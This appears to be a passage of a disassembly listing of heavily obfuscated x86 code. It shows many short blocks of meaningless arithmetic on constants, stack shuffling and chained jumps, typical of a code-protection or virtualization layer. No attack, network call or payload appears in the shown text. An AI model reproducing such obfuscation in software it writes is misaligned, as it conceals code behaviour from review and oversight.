loc_5A07D0:				; CODE XREF: sub_57DD3A+23976j
		not	[esp+4Ch+var_4C]
		pop	esi
		jmp	loc_59624D
; ---------------------------------------------------------------------------


loc_5A07D9:				; CODE XREF: sub_57DD3A+17544j
		sub	edx, 0ADC72F9h
		pop	ebx
		xor	edx, [esp+58h+var_58]
		jmp	loc_5A1C19
; ---------------------------------------------------------------------------


loc_5A07E8:				; CODE XREF: sub_57DD3A+15E2Bj
		mov	esi, 33226BBBh
		push	edx
		jmp	loc_592C25
; ---------------------------------------------------------------------------


loc_5A07F3:				; CODE XREF: sub_57DD3A+1362Aj
		sub	cl, 2Fh
		sub	cl, dl
		add	cl, 2Fh
		mov	edx, [esp+3Ah+var_3A]
		add	esp, 4
		push	eax
		mov	al, cl
		jmp	loc_597D8F
; ---------------------------------------------------------------------------


loc_5A080C:				; CODE XREF: sub_57DD3A+183DAj
		neg	dh
		push	eax
		mov	al, 56h
		sub	dh, al
		jmp	loc_591CF0
; ---------------------------------------------------------------------------


loc_5A0818:				; CODE XREF: sub_57DD3A+19841j
		sub	edi, 0FA8DD091h
		jmp	loc_5938C5
; ---------------------------------------------------------------------------


loc_5A0823:				; CODE XREF: sub_57DD3A+117F3j
		mov	al, 2Fh
		dec	al
		jmp	loc_5A3005
; ---------------------------------------------------------------------------


loc_5A082C:				; CODE XREF: sub_57DD3A+15465j
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 28752A5Dh
		jmp	loc_59ECDB
; ---------------------------------------------------------------------------


loc_5A083A:				; CODE XREF: sub_57DD3A+1FC01j
		mov	[esp+4Ah+var_4C+2], ebx
		mov	bl, 68h
		mov	al, 0E6h
		xor	al, bl
		pop	ebx
		push	ecx
		mov	cl, al
		mov	dh, cl
		jmp	loc_5A0702
; ---------------------------------------------------------------------------


loc_5A084E:				; CODE XREF: sub_57DD3A+23384j
		neg	edi
		xor	edi, 0FFA0226Dh
		xor	edx, edi
		mov	edi, [esp+4Ah+var_4C+2]
		add	esp, 4
		add	eax, edx
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp+42h+var_42]
		xor	[esp+42h+var_42], eax
		jmp	loc_598F6D
; ---------------------------------------------------------------------------


loc_5A0877:				; CODE XREF: sub_57DD3A+20127j
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59859D
; ---------------------------------------------------------------------------


loc_5A0885:				; CODE XREF: sub_57DD3A+201FEj
		add	esp, 4
		push	edx
		mov	edx, 4EF14360h
		add	ebx, 75492DDEh
		push	765Ah
		mov	[esp+0Ch+var_E+2], esi
		push	edx
		mov	edx, 74BB6E7Ah
		mov	esi, 0D756DA2Dh
		sub	esi, edx
		pop	edx
		sub	esi, 7DFD6A58h
		push	ebp
		mov	ebp, 13200350h
		add	ebp, 49D77886h
		dec	ebp
		not	ebp
		dec	ebp
		neg	ebp
		add	ebp, 0B067F2CFh
		xor	esi, ebp
		pop	ebp
		add	esi, 74ABC1A8h
		sub	ebx, esi
		jmp	loc_5A0799
; ---------------------------------------------------------------------------


loc_5A08DB:				; CODE XREF: sub_57DD3A+11A2Fj
		push	ax
		mov	ah, 1Eh
		mov	ch, ah
		jmp	loc_59B689
; ---------------------------------------------------------------------------


loc_5A08E6:				; CODE XREF: sub_57DD3A+1857Bj
		not	[esp+52h+var_54+2]
		pop	edx
		jmp	loc_59C419
; ---------------------------------------------------------------------------


loc_5A08EF:				; CODE XREF: sub_57DD3A+10ECDj
		and	esi, ebp
		pop	ebp
		shr	esi, 5
		sub	esp, 4
		mov	[esp+16h+var_16], ebx
		mov	ebx, 7C6D477Eh
		add	ebx, 6911700Ch
		push	edx
		mov	edx, 23C07DAEh
		and	ebx, edx
		pop	edx
		add	ebx, 3CE158C0h
		not	ebx
		jmp	loc_59233E
; ---------------------------------------------------------------------------


loc_5A091C:				; CODE XREF: sub_57DD3A+173D7j
		sub	byte ptr [esp+5Ch+var_5C], 10h
		add	byte ptr [esp+5Ch+var_5C], 28h
		jmp	loc_590365
; ---------------------------------------------------------------------------


loc_5A0929:				; CODE XREF: sub_57DD3A+1AE71j
		push	eax
		jmp	loc_5993FF
; ---------------------------------------------------------------------------


loc_5A092F:				; CODE XREF: sub_57DD3A+1C541j
		add	esp, 4
		sub	ebx, eax
		pop	eax
		add	esi, ebx
		pop	ebx
		jmp	loc_597FDF
; ---------------------------------------------------------------------------


loc_5A093D:				; CODE XREF: sub_57DD3A+190BDj
		push	ebx
		push	ebp
		mov	ebp, 1F1111A3h
		neg	ebp
		not	ebp
		shr	ebp, 1
		shr	ebp, 5
		jmp	loc_598DF9
; ---------------------------------------------------------------------------


loc_5A0952:				; CODE XREF: sub_57DD3A+10625j
		add	ebp, ebx
		mov	ebx, [esp+14h+var_16+2]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		jmp	loc_59C162
; ---------------------------------------------------------------------------


loc_5A096A:				; CODE XREF: sub_57DD3A+197ECj
		and	eax, ebx
		push	[esp+7Ch+var_7C]
		mov	ebx, [esp+80h+var_80]
		push	ebp
		jmp	loc_59179B
; ---------------------------------------------------------------------------


loc_5A0978:				; CODE XREF: sub_57DD3A+17DF0j
		push	eax
		jmp	loc_598077
; ---------------------------------------------------------------------------


loc_5A097E:				; CODE XREF: sub_57DD3A+156EAj
		xchg	esi, [esp+80h+var_80]
		jmp	loc_590F1B
; ---------------------------------------------------------------------------


loc_5A0986:				; CODE XREF: sub_57DD3A+1FFFEj
		add	edi, ebx
		pop	ebx
		pop	ecx
		xor	edi, 6E523271h
		add	ebx, edi
		pop	edi
		xor	eax, ebx
		jmp	loc_5A0C08
; ---------------------------------------------------------------------------


loc_5A099A:				; CODE XREF: sub_57DD3A+1482Aj
		mov	[esp+1Ch+var_1E+2], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	eax
		mov	eax, 4
		sub	ebp, eax
		jmp	loc_59476D
; ---------------------------------------------------------------------------


loc_5A09B5:				; CODE XREF: sub_57DD3A+15C34j
		add	ebp, 4
		xchg	ebp, [esp+7Ch+var_7C]
		pop	esp
		push	3E7h
		mov	[esp+7Ch+var_7C], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	69CCh
		mov	[esp+80h+var_80], edi
		push	[esp+80h+var_7C]
		mov	edi, [esp+84h+var_84]
		jmp	loc_59CAD5
; ---------------------------------------------------------------------------


loc_5A09E9:				; DATA XREF: sub_57DD3A+1038Ao
		lodsd
		jmp	loc_5A18EB
; ---------------------------------------------------------------------------


loc_5A09EF:				; CODE XREF: sub_57DD3A+17D70j
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_593779
; ---------------------------------------------------------------------------


loc_5A09FE:				; CODE XREF: sub_57DD3A+17E97j
		add	esp, 4
		jmp	loc_59F666
; ---------------------------------------------------------------------------


loc_5A0A09:				; CODE XREF: sub_57DD3A+113D0j
		add	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		jmp	loc_599611
; ---------------------------------------------------------------------------


loc_5A0A17:				; CODE XREF: sub_57DD3A+21FA3j
		push	esi
		mov	esi, 64883F4Ch
		xor	esi, 1DC769B9h
		dec	esi
		not	esi
		add	esi, 0CC707BBFh
		jmp	loc_59CCCA
; ---------------------------------------------------------------------------


loc_5A0A31:				; CODE XREF: sub_57DD3A+144E4j
		mov	esi, 13087709h
		sub	esi, 820644Ch
		push	ebx
		jmp	loc_58F98E
; ---------------------------------------------------------------------------


loc_5A0A42:				; CODE XREF: sub_57DD3A+22A91j
		xor	esi, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], esi
		jmp	loc_595B24
; ---------------------------------------------------------------------------


loc_5A0A4D:				; CODE XREF: sub_57DD3A+1A0AFj
		sub	eax, 4
		xchg	eax, [esp+20h+var_22+2]
		mov	esp, [esp+20h+var_22+2]
		mov	[esp+20h+var_22+2], eax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A0A60:				; CODE XREF: sub_57DD3A+22661j
		pop	esi
		jmp	loc_5A315A
; ---------------------------------------------------------------------------


loc_5A0A66:				; CODE XREF: sub_57DD3A+13330j
		add	esi, edx
		pop	edx
		add	esi, 2
		sub	esp, 4
		mov	[esp+18h+var_1A+2], esi
		push	[esp+18h+var_16+2]
		jmp	loc_592056
; ---------------------------------------------------------------------------


loc_5A0A81:				; CODE XREF: sub_57DD3A+1B4ECj
		add	esi, 4
		jmp	loc_59E6B9
; ---------------------------------------------------------------------------


loc_5A0A89:				; CODE XREF: sub_57DD3A+224BFj
		pop	ebx
		jmp	loc_59D55F
; ---------------------------------------------------------------------------


loc_5A0A8F:				; CODE XREF: sub_57DD3A+1E6DAj
		add	edx, 4
		jmp	loc_5A1999
; ---------------------------------------------------------------------------


loc_5A0A9A:				; CODE XREF: sub_57DD3A+16485j
		mov	edi, esi
		mov	esi, [esp+56h+var_58+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+56h+var_58+2], ecx
		mov	ecx, 74B72054h
		sub	edi, 48907F0Eh
		add	edi, ecx
		jmp	loc_59DD17
; ---------------------------------------------------------------------------


loc_5A0AC0:				; CODE XREF: sub_57DD3A+11F29j
		sub	ebp, 1
		push	esi
		mov	esi, 1
		sub	ebp, esi
		jmp	loc_59618F
; ---------------------------------------------------------------------------


loc_5A0AD3:				; CODE XREF: sub_57DD3A+11683j
		neg	eax
		shr	eax, 4
		xor	eax, 7C17AD9Ch
		jmp	loc_5A2B89
; ---------------------------------------------------------------------------


loc_5A0AE2:				; CODE XREF: sub_57DD3A+1DE0Dj
		or	dl, 61h
		add	dl, 98h
		sub	ah, dl
		pop	edx
		dec	ah
		shr	ah, 4
		jmp	loc_5A11FE
; ---------------------------------------------------------------------------


loc_5A0AF5:				; CODE XREF: sub_57DD3A+2306Dj
		mov	si, 0FB64h
		add	cx, si
		pop	si
		sub	ax, 186h
		sub	ax, cx
		add	ax, 186h
		push	[esp+20h+var_22+2]
		jmp	loc_592995
; ---------------------------------------------------------------------------


loc_5A0B11:				; CODE XREF: sub_57DD3A+1AD74j
		xor	eax, ecx
		jmp	loc_58FB22
; ---------------------------------------------------------------------------
		lodsb
		push	cx
		push	ebx
		mov	bh, 0F6h
		jmp	loc_5A073B
; ---------------------------------------------------------------------------


loc_5A0B23:				; CODE XREF: sub_57DD3A+19ECCj
		sub	edi, 2276601Fh
		jmp	loc_59D91B
; ---------------------------------------------------------------------------


loc_5A0B2E:				; CODE XREF: sub_57DD3A+10C74j
		pop	ecx
		add	edx, 255C0736h
		add	edx, 59BA77E3h
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp+4+var_4]
		pop	esp
		shr	eax, 0Ah
		jmp	loc_59E4D3
; ---------------------------------------------------------------------------


loc_5A0B4E:				; CODE XREF: sub_57DD3A+19162j
		push	edx
		mov	edx, 242A0CA9h
		mov	edi, edx
		push	[esp+1Ah+var_1A]
		pop	edx
		add	esp, 4
		add	edi, 0F53A3859h
		add	ebx, edi
		jmp	loc_5998F3
; ---------------------------------------------------------------------------


loc_5A0B6A:				; CODE XREF: sub_57DD3A+1DDEDj
		push	4E01h
		mov	[esp+32h+var_32], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_597C51
; ---------------------------------------------------------------------------


loc_5A0B82:				; CODE XREF: sub_57DD3A+14B3Cj
		sub	esi, 2AD6566Ch
		add	esi, edi
		push	ebp
		mov	ebp, 66DE7309h
		or	ebp, 176B36E2h
		jmp	loc_58E4E4
; ---------------------------------------------------------------------------


loc_5A0B9B:				; CODE XREF: sub_57DD3A+12550j
		mov	[esp+36h+var_36], edx
		jmp	loc_595E21
; ---------------------------------------------------------------------------


loc_5A0BA3:				; CODE XREF: sub_57DD3A+1096Cj
		pop	eax
		add	ecx, 0B9E603FFh
		jmp	loc_5A1570
; ---------------------------------------------------------------------------


loc_5A0BAF:				; CODE XREF: sub_57DD3A+11DCAj
		mov	[esp+20h+var_22+2], esp
		add	[esp+20h+var_22+2], 4
		pop	ebx
		jmp	loc_5A10A6
; ---------------------------------------------------------------------------


loc_5A0BBC:				; CODE XREF: sub_57DD3A+215C1j
		add	edx, edi
		jmp	loc_58EEA1
; ---------------------------------------------------------------------------


loc_5A0BC3:				; CODE XREF: sub_57DD3A+21FB6j
		push	esi
		jmp	loc_592779
; ---------------------------------------------------------------------------


loc_5A0BC9:				; CODE XREF: sub_57DD3A+162C1j
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1E+2]
		jmp	loc_59F6A3
; ---------------------------------------------------------------------------


loc_5A0BD4:				; CODE XREF: sub_57DD3A+1AEA4j
		pop	ebx
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A0BDA:				; CODE XREF: sub_57DD3A+252B8j
		add	edi, 4
		jmp	loc_5904DB
; ---------------------------------------------------------------------------


loc_5A0BE5:				; CODE XREF: sub_57DD3A+1EB78j
		pop	esp
		mov	[esp+54h+var_54], ebx
		mov	ebx, 4D83198Dh
		jmp	loc_598AB3
; ---------------------------------------------------------------------------


loc_5A0BF3:				; CODE XREF: sub_57DD3A+1F91Fj
		mov	ebp, esp
		jmp	loc_59B9D1
; ---------------------------------------------------------------------------


loc_5A0BFA:				; CODE XREF: sub_57DD3A+2399Cj
		shl	eax, 5
		shl	eax, 1
		dec	eax
		shl	eax, 3
		jmp	loc_596869
; ---------------------------------------------------------------------------


loc_5A0C08:				; CODE XREF: sub_57DD3A+22C5Bj
		mov	ebx, [esp+3Eh+var_3E]
		add	esp, 4
		push	451Bh
		mov	[esp+3Eh+var_3E], esi
		push	edx
		jmp	loc_59CA08
; ---------------------------------------------------------------------------


loc_5A0C1C:				; CODE XREF: sub_57DD3A+24D4Bj
		pop	ecx
		jmp	loc_595F5F
; ---------------------------------------------------------------------------


loc_5A0C22:				; CODE XREF: sub_57DD3A+230A5j
		mov	dh, 0F9h
		or	dh, 16h
		xor	dh, 0E5h
		jmp	loc_590246
; ---------------------------------------------------------------------------


loc_5A0C2F:				; CODE XREF: sub_57DD3A+20F4Aj
		xchg	ebp, [esp+42h+var_42]
		jmp	loc_597D25
; ---------------------------------------------------------------------------


loc_5A0C37:				; CODE XREF: sub_57DD3A+1F0FCj
		xchg	edx, [esp+1Ch+var_1E+2]
		inc	edx
		jmp	loc_5902A8
; ---------------------------------------------------------------------------


loc_5A0C40:				; CODE XREF: sub_57DD3A+14F56j
		mov	[esp+7Ah+var_7C+2], edx
		mov	dl, 0D8h
		push	bx
		mov	bh, 0E1h
		and	dl, bh
		pop	bx
		add	dl, 5Fh
		jmp	loc_597065
; ---------------------------------------------------------------------------


loc_5A0C55:				; CODE XREF: sub_57DD3A+15EF5j
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 38AA4E2Dh
		xor	ebp, 242505CBh
		jmp	loc_5A2A2A
; ---------------------------------------------------------------------------


loc_5A0C70:				; CODE XREF: sub_57DD3A+1D77Aj
		push	edx
		jmp	loc_590ED7
; ---------------------------------------------------------------------------


loc_5A0C76:				; CODE XREF: sub_57DD3A+219E1j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_593F70
; ---------------------------------------------------------------------------


loc_5A0C83:				; CODE XREF: sub_57DD3A+1B7ECj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A0C98:				; CODE XREF: sub_57DD3A+1925Aj
		sub	eax, 235DF5B4h
		shl	eax, 8
		shl	eax, 8
		jmp	loc_594E57
; ---------------------------------------------------------------------------


loc_5A0CA8:				; CODE XREF: sub_57DD3A+20B64j
		pop	ebp
		jmp	loc_5A2D67
; ---------------------------------------------------------------------------


loc_5A0CAE:				; CODE XREF: sub_57DD3A+1E18Aj
		pop	edx
		jmp	loc_5957E5
; ---------------------------------------------------------------------------


loc_5A0CB4:				; CODE XREF: sub_57DD3A+1AF0Cj
		xor	[esp+74h+var_74], ebx
		xor	ebx, [esp+74h+var_74]
		jmp	loc_59F6E9
; ---------------------------------------------------------------------------


loc_5A0CBF:				; CODE XREF: sub_57DD3A+10E3Fj
		mov	ebx, esp
		push	eax
		jmp	loc_59E91D
; ---------------------------------------------------------------------------


loc_5A0CC7:				; CODE XREF: sub_57DD3A+1D3EFj
		add	esp, 4
		sub	ebp, 5A123CA0h
		add	ebp, edi
		add	ebp, 5A123CA0h
		mov	edi, [esp+46h+var_46]
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp+42h+var_42]
		jmp	loc_5926B9
; ---------------------------------------------------------------------------


loc_5A0CF2:				; CODE XREF: sub_57DD3A+1F6A7j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		jmp	loc_593D45
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	esi
		push	esp
		pop	esi
		jmp	loc_5938A8
; ---------------------------------------------------------------------------


loc_5A0D14:				; CODE XREF: sub_57DD3A+2310Fj
		mov	[esp+0Ch+var_E+2], ecx
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A0D1C:				; CODE XREF: sub_57DD3A+1DD92j
		push	0
		sub	byte ptr [esp+94h+var_94], dh
		jmp	loc_5915B9
; ---------------------------------------------------------------------------
		push	[esp+94h+var_94]
		push	[esp+98h+var_98]
		mov	ecx, [esp+9Ch+var_9C]
		add	esp, 4
		jmp	loc_59025B
; ---------------------------------------------------------------------------


loc_5A0D3A:				; CODE XREF: sub_57DD3A+17DBBj
		sub	edi, 89352089h
		sub	esi, edi
		jmp	loc_59AC8C
; ---------------------------------------------------------------------------


loc_5A0D47:				; CODE XREF: sub_57DD3A+1C0FDj
		add	esi, edi
		pop	edi
		jmp	loc_58F16A
; ---------------------------------------------------------------------------


loc_5A0D4F:				; CODE XREF: sub_57DD3A+245F9j
		or	ebx, 7B1D62E1h
		xor	ebx, 8127F510h
		jmp	loc_58F457
; ---------------------------------------------------------------------------


loc_5A0D60:				; CODE XREF: sub_57DD3A+17B65j
		xor	[esp+60h+var_60], edx
		jmp	loc_594743
; ---------------------------------------------------------------------------


loc_5A0D68:				; CODE XREF: sub_57DD3A+1899Bj
		mov	ecx, 2C614329h
		shl	ecx, 5
		sub	ecx, 30C15E3Ah
		add	ebx, ecx
		pop	ecx
		add	ebx, 5CBA1A52h
		add	ebx, ebp
		sub	ebx, 5CBA1A52h
		sub	ebx, 5B6706E6h
		pop	ebp
		xor	ebx, [esp+70h+var_70]
		jmp	loc_5974A4
; ---------------------------------------------------------------------------


loc_5A0D96:				; CODE XREF: sub_57DD3A+1BBE7j
		push	cx
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A0D9E:				; CODE XREF: sub_57DD3A+18FC0j
		dec	cx
		add	cx, 1
		push	si
		jmp	loc_5A0AF5
; ---------------------------------------------------------------------------


loc_5A0DAC:				; CODE XREF: sub_57DD3A+1BC91j
		pop	edi
		jmp	loc_59E374
; ---------------------------------------------------------------------------


loc_5A0DB2:				; CODE XREF: sub_57DD3A+24F3Aj
		add	esp, 4
		push	ecx
		mov	ecx, 4AC267EFh
		jmp	loc_59A7E7
; ---------------------------------------------------------------------------


loc_5A0DC3:				; CODE XREF: sub_57DD3A+153A1j
		push	79A1h
		mov	[esp+3Ch+var_3E+2], edx
		mov	edx, 540569BCh
		add	edx, 0FFFFFFFFh
		inc	edx
		jmp	loc_5962B4
; ---------------------------------------------------------------------------


loc_5A0DDC:				; CODE XREF: sub_57DD3A+196FAj
		mov	[esp+2Ch+var_2E+2], edx
		jmp	loc_5A0C22
; ---------------------------------------------------------------------------


loc_5A0DE4:				; CODE XREF: sub_57DD3A+24A43j
		not	eax
		add	eax, 2AD740C9h
		shr	eax, 6
		and	eax, 780D73A0h
		sub	eax, 0C107Ch
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+28h+var_2A+2]
		pop	esp
		jmp	loc_5953A4
; ---------------------------------------------------------------------------


loc_5A0E0A:				; CODE XREF: sub_57DD3A+1C286j
		mov	edx, 40582262h
		push	ecx
		jmp	loc_590644
; ---------------------------------------------------------------------------


loc_5A0E15:				; CODE XREF: sub_57DD3A+12CAEj
		push	esp
		pop	ecx
		push	382Fh
		mov	[esp+10h+var_12+2], esi
		jmp	loc_599F7A
; ---------------------------------------------------------------------------


loc_5A0E24:				; CODE XREF: sub_57DD3A+14F8Dj
		add	edi, 4
		jmp	loc_5A0505
; ---------------------------------------------------------------------------


loc_5A0E2C:				; CODE XREF: sub_57DD3A+10D16j
		add	ebx, eax
		add	ebx, 75346506h
		jmp	loc_596C03
; ---------------------------------------------------------------------------


loc_5A0E39:				; CODE XREF: sub_57DD3A+2172Bj
		add	ebp, edi
		jmp	loc_591C48
; ---------------------------------------------------------------------------


loc_5A0E40:				; CODE XREF: sub_57DD3A+160EBj
		pop	esp
		movzx	ecx, ax
		push	30E2h
		jmp	loc_5A0D14
; ---------------------------------------------------------------------------


loc_5A0E4E:				; CODE XREF: sub_57DD3A+1991Bj
		push	1661h
		jmp	loc_59E986
; ---------------------------------------------------------------------------


loc_5A0E58:				; CODE XREF: sub_57DD3A+23949j
		push	eax
		push	edx
		sub	esp, 4
		jmp	loc_595680
; ---------------------------------------------------------------------------


loc_5A0E62:				; CODE XREF: sub_57DD3A+1E66Aj
		mov	ebx, [esp+36h+var_36]
		add	esp, 4
		mov	ebp, [esp+32h+var_32]
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_5A0E74:				; CODE XREF: sub_57DD3A+21541j
		push	eax
		jmp	loc_592D41
; ---------------------------------------------------------------------------


loc_5A0E7A:				; CODE XREF: sub_57DD3A+1CEF4j
		and	ecx, edx
		push	[esp+2Ah+var_2A]
		mov	edx, [esp+2Eh+var_2E]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59D9AE
; ---------------------------------------------------------------------------


loc_5A0E96:				; CODE XREF: sub_57DD3A+1A938j
		not	esi
		xchg	esi, ecx
		sub	ecx, 0B1A6F7F4h
		add	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	ebp, 44F60B63h
		add	ebp, ecx
		sub	ebp, 44F60B63h
		pop	ecx
		xchg	ebp, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		add	[esp+22h+var_22], eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A0EC7:				; CODE XREF: sub_57DD3A+17EAAj
		xor	edx, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		xchg	ebx, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		div	cx
		push	1C4Ah
		mov	[esp+26h+var_26], ebp
		push	esp
		push	[esp+2Ah+var_2A]
		pop	ebp
		jmp	loc_59CB8C
; ---------------------------------------------------------------------------


loc_5A0EE8:				; CODE XREF: sub_57DD3A+21D48j
		xor	ebx, 31569B9h
		xor	esi, ebx
		mov	ebx, [esp-6+arg_0+2]
		jmp	loc_590F31
; ---------------------------------------------------------------------------


loc_5A0EF8:				; CODE XREF: sub_57DD3A+235B7j
		push	edi
		mov	edi, 2C1B13D1h
		add	edi, 0D3E4EC33h
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp-6+arg_0+2]
		pop	esp
		jmp	loc_5A1688
; ---------------------------------------------------------------------------


loc_5A0F13:				; CODE XREF: sub_57DD3A+1946Aj
		popa
		jmp	loc_58ED80
; ---------------------------------------------------------------------------


loc_5A0F19:				; CODE XREF: sub_57DD3A+10CF8j
		mov	[esp+0Ch+var_E+2], esi
		push	esp
		jmp	loc_5A23F3
; ---------------------------------------------------------------------------


loc_5A0F22:				; CODE XREF: sub_57DD3A+174B4j
		sub	ebx, 486F476Fh
		sub	ebx, 1953271Dh
		sub	ebx, 4F41220Dh
		add	ebx, 383C1B69h
		add	ebx, eax
		jmp	loc_59A9C3
; ---------------------------------------------------------------------------


loc_5A0F41:				; CODE XREF: sub_57DD3A+175BDj
		sub	edi, 44EC05E6h
		pop	esi
		sub	ebx, edi
		jmp	loc_5933D3
; ---------------------------------------------------------------------------


loc_5A0F4F:				; CODE XREF: sub_57DD3A+19EE0j
		push	edx
		mov	edx, 54DF2670h
		add	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+42h+var_42], ebp
		jmp	loc_5A06A0
; ---------------------------------------------------------------------------


loc_5A0F66:				; CODE XREF: sub_57DD3A+20022j
		sub	ebp, 4
		xchg	ebp, [esp+34h+var_36+2]
		jmp	loc_59ED51
; ---------------------------------------------------------------------------


loc_5A0F71:				; CODE XREF: sub_57DD3A+21252j
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp+32h+var_32]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_593199
; ---------------------------------------------------------------------------


loc_5A0F89:				; CODE XREF: sub_57DD3A+130EBj
		add	ebx, 61616103h
		xor	ebx, 2AF14C40h
		sub	edi, ebx
		pop	ebx
		mov	edx, edi
		pop	edi
		push	5719h
		mov	[esp+58h+var_58], ebx
		push	20DF7A07h
		pop	ebx
		xor	ebx, 4CFD30F5h
		add	edx, ebx
		pop	ebx
		sub	edx, 6E6F5F71h
		add	edx, edi
		push	ebp
		mov	ebp, 43405C36h
		sub	ebp, 0D4D0FCC5h
		add	edx, ebp
		pop	ebp
		sub	edx, 6C224AF2h
		mov	ecx, [edx]
		pop	edx
		push	4BDAh
		mov	[esp+54h+var_54], ebx
		push	edi
		mov	edi, 282F0099h
		push	edi
		push	edx
		mov	edx, 1
		add	[esp+60h+var_5C], edx
		pop	edx
		pop	edi
		push	ebp
		mov	ebp, 69A05FE8h
		xor	edi, ebp
		mov	ebp, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_58E7F1
; ---------------------------------------------------------------------------


loc_5A1003:				; CODE XREF: sub_57DD3A+1195Cj
		add	esp, 4
		pop	[esp+7Ch+var_7C]
		jmp	loc_59EE3D
; ---------------------------------------------------------------------------


loc_5A1011:				; CODE XREF: sub_57DD3A+1A603j
		push	[esp+2Eh+var_2E]
		pop	ebp
		add	esp, 4
		shr	edi, 8
		xor	edi, 50F745F7h
		xor	edi, 1E461E3Eh
		jmp	loc_599C20
; ---------------------------------------------------------------------------


loc_5A102F:				; CODE XREF: sub_57DD3A+14153j
		add	eax, edx
		jmp	loc_59541E
; ---------------------------------------------------------------------------


loc_5A1036:				; CODE XREF: sub_57DD3A+207A3j
		sub	eax, 4
		xchg	eax, [esp+80h+var_80]
		jmp	loc_597A95
; ---------------------------------------------------------------------------


loc_5A1041:				; CODE XREF: sub_57DD3A+14767j
		sub	eax, 6E047B32h
		add	ecx, eax
		pop	eax
		sub	edi, 2FC81F53h
		sub	edi, 57DB22AAh
		add	edi, ecx
		jmp	loc_596831
; ---------------------------------------------------------------------------


loc_5A105C:				; CODE XREF: sub_57DD3A+1E8D6j
		pop	[esp+14h+var_16+2]
		mov	esp, [esp+10h+var_12+2]
		mov	[esp+10h+var_12+2], ecx
		jmp	loc_5A11F9
; ---------------------------------------------------------------------------


loc_5A106A:				; CODE XREF: sub_57DD3A+1DC92j
		add	esp, 4
		jmp	loc_590106
; ---------------------------------------------------------------------------


loc_5A1072:				; CODE XREF: sub_57DD3A+213D4j
		xchg	ebx, [esp+8+var_8]
		jmp	loc_59C00C
; ---------------------------------------------------------------------------


loc_5A107A:				; CODE XREF: sub_57DD3A+108C2j
		mov	[esp+18h+var_1A+2], ecx
		jmp	loc_59F55B
; ---------------------------------------------------------------------------


loc_5A1082:				; CODE XREF: sub_57DD3A+11821j
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		jmp	loc_59207E
; ---------------------------------------------------------------------------


loc_5A1090:				; CODE XREF: sub_57DD3A+1CF3Cj
		add	esp, 4
		sub	ecx, 1A7F1C8Fh
		add	ecx, eax
		add	ecx, 1A7F1C8Fh
		jmp	loc_599885
; ---------------------------------------------------------------------------


loc_5A10A6:				; CODE XREF: sub_57DD3A+22E7Dj
		push	esi
		jmp	loc_59E079
; ---------------------------------------------------------------------------


loc_5A10AC:				; CODE XREF: sub_57DD3A+10A0Cj
		add	esp, 4
		jmp	loc_599856
; ---------------------------------------------------------------------------


loc_5A10B7:				; CODE XREF: sub_57DD3A+214EDj
		push	ecx
		jmp	loc_59165F
; ---------------------------------------------------------------------------


loc_5A10BD:				; CODE XREF: sub_57DD3A+14417j
		pop	edi
		jmp	loc_5A084E
; ---------------------------------------------------------------------------


loc_5A10C3:				; CODE XREF: sub_57DD3A+1616Fj
		push	48EAh
		mov	[esp+54h+var_54], edx
		push	2AEB0FD9h
		pop	edx
		jmp	loc_594E1C
; ---------------------------------------------------------------------------


loc_5A10D6:				; CODE XREF: sub_57DD3A+22A07j
		xor	bh, ah
		pop	eax
		mov	cl, bh
		jmp	loc_59BD8A
; ---------------------------------------------------------------------------


loc_5A10E0:				; CODE XREF: sub_57DD3A+13710j
		or	ah, 0B5h
		sub	ah, 0C9h
		jmp	loc_5911A5
; ---------------------------------------------------------------------------


loc_5A10EB:				; CODE XREF: sub_57DD3A+1D64Fj
		add	ebp, eax
		push	eax
		mov	eax, 7C2F5587h
		not	eax
		shl	eax, 4
		sub	eax, 0D47C90E7h
		sub	ebp, eax
		pop	eax
		pop	eax
		sub	ebp, 621B2B61h
		add	ebp, eax
		add	ebp, 621B2B61h
		sub	ebp, 92A07DAh
		pop	eax
		inc	ebp
		not	ebp
		sub	ebp, 0FFFFFFFFh
		xchg	ebx, ebp
		not	ebx
		xor	ebp, ebx
		xor	ebx, ebp
